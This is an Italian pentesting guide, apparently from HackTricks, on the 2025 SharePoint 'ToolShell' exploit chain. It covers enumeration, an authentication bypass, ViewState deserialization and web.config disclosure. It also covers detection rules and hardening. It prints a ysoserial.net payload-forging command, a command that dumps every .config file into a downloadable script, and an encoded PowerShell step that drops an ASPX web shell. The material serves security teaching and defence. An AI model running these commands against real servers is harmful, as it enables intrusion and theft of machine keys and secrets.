# Microsoft SharePoint – Pentesting & Exploitation {{#include ../../banners/hacktricks-training.md}} > Microsoft SharePoint (on-premises) è costruito su ASP.NET/IIS. La maggior parte della superficie di attacco web classica (ViewState, Web.Config, web shells, ecc.) è quindi presente, ma SharePoint include anche centinaia di pagine ASPX proprietarie e servizi web che ampliano notevolmente la superficie di attacco esposta. Questa pagina raccoglie trucchi pratici per enumerare, sfruttare e persistere all'interno degli ambienti SharePoint con enfasi sulla catena di exploit 2025 divulgata da Unit42 (CVE-2025-49704/49706/53770/53771). ## 1. Quick enumeration ``` # favicon hash and keywords curl -s https:///_layouts/15/images/SharePointHome.png curl -s https:///_vti_bin/client.svc | file - # returns WCF/XSI # version leakage (often in JS) curl -s https:///_layouts/15/init.js | grep -i "spPageContextInfo" # interesting standard paths /_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain /_vti_bin/Lists.asmx # legacy SOAP service /_catalogs/masterpage/Forms/AllItems.aspx # enumerate sites & site-collections (requires at least Anonymous) python3 Office365-ADFSBrute/SharePointURLBrute.py -u https:// ``` ## 2. 2025 exploit chain (a.k.a. “ToolShell”) ### 2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx `/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=` consente l'inserimento di codice *Server-Side Include* arbitrario nella pagina che viene successivamente compilata da ASP.NET. Un attaccante può incorporare C# che esegue `Process.Start()` e inserire un ViewState malevolo. ### 2.2 CVE-2025-49706 – Improper Authentication Bypass La stessa pagina si fida dell'intestazione **X-Forms_BaseUrl** per determinare il contesto del sito. Puntandola a `/_layouts/15/`, la MFA/SSO imposta nel sito principale può essere bypassata **senza autenticazione**. ### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE Una volta che l'attaccante controlla un gadget in `ToolPane.aspx`, può inviare un valore `__VIEWSTATE` **non firmato** (o solo MAC) che attiva la deserializzazione .NET all'interno di *w3wp.exe*, portando all'esecuzione di codice. Se la firma è abilitata, rubare il **ValidationKey/DecryptionKey** da qualsiasi `web.config` (vedi 2.4) e forgiare il payload con *ysoserial.net* o *ysodom*: ``` ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" | ViewStateGenerator.exe --validation-key --decryption-key -o payload.txt ``` Per una spiegazione approfondita su come abusare di ASP.NET ViewState leggi: {{#ref}} ../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md {{#endref}} ### 2.4 CVE-2025-53771 – Path Traversal / divulgazione di web.config Inviare un parametro `Source` creato a `ToolPane.aspx` (ad es. `../../../../web.config`) restituisce il file mirato, consentendo la fuga di: * `` ➜ forgiare i cookie ViewState / ASPXAUTH * stringhe di connessione e segreti. ## 3. Ricette di post-sfruttamento osservate in natura ### 3.1 Esfiltrare ogni file *.config* (variazione-1) ``` cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js" ``` Il file risultante `debug_dev.js` può essere scaricato in modo anonimo e contiene **tutte** le configurazioni sensibili. ### 3.2 Distribuire una shell web ASPX codificata in Base64 (variazione-2) ``` powershell.exe -EncodedCommand ``` Esempio di payload decodificato (abbreviato): ```csharp <%@ Page Language="C#" %> <%@ Import Namespace="System.Security.Cryptography" %> ``` Scritto a: ``` C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx ``` La shell espone endpoint per **leggere / ruotare le chiavi della macchina** che consente di forgiare i cookie ViewState e ASPXAUTH attraverso la farm. ### 3.3 Variante offuscata (variazione-3) Stessa shell ma: * posizionata sotto `...\15\TEMPLATE\LAYOUTS\` * nomi delle variabili ridotti a lettere singole * `Thread.Sleep()` aggiunto per evasione della sandbox e bypass basato sul timing. ## 4. Idee di rilevamento | Telemetria | Perché è sospetta | |------------|-------------------| | `w3wp.exe → cmd.exe` | Il processo worker dovrebbe raramente generare una shell | | `cmd.exe → powershell.exe -EncodedCommand` | Modello classico di lolbin | | Eventi di file che creano `debug_dev.js` o `spinstall0.aspx` | IOCs direttamente da ToolShell | | `ProcessCmdLine CONTIENE ToolPane.aspx` (log ETW/Modulo) | PoC pubbliche invocano questa pagina | Esempio di regola XDR / Sysmon (pseudo-XQL): ``` proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe") ``` ## 5. Indurimento e Mitigazione 1. **Patch** – Gli aggiornamenti di sicurezza di luglio 2025 risolvono *tutti* e quattro i CVE. 2. **Ruotare** ogni `` e i segreti di `ViewState` dopo una compromissione. 3. Rimuovere il permesso di scrittura *LAYOUTS* dai gruppi `WSS_WPG` e `WSS_ADMIN_WPG`. 4. Bloccare l'accesso esterno a `/_layouts/15/ToolPane.aspx` a livello di proxy/WAF. 5. Abilitare **ViewStateUserKey**, **MAC abilitato** e *EventValidation* personalizzato. ## Trucchi correlati * Post-sfruttamento di IIS e abuso di web.config: {{#ref}} ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md {{#endref}} ## Riferimenti - [Unit42 – Sfruttamento attivo delle vulnerabilità di Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/) - [GitHub PoC – Catena di sfruttamento ToolShell](https://github.com/real-or-not/ToolShell) - [Avviso di sicurezza Microsoft – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) - [Avviso di sicurezza Microsoft – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) {{#include ../../banners/hacktricks-training.md}}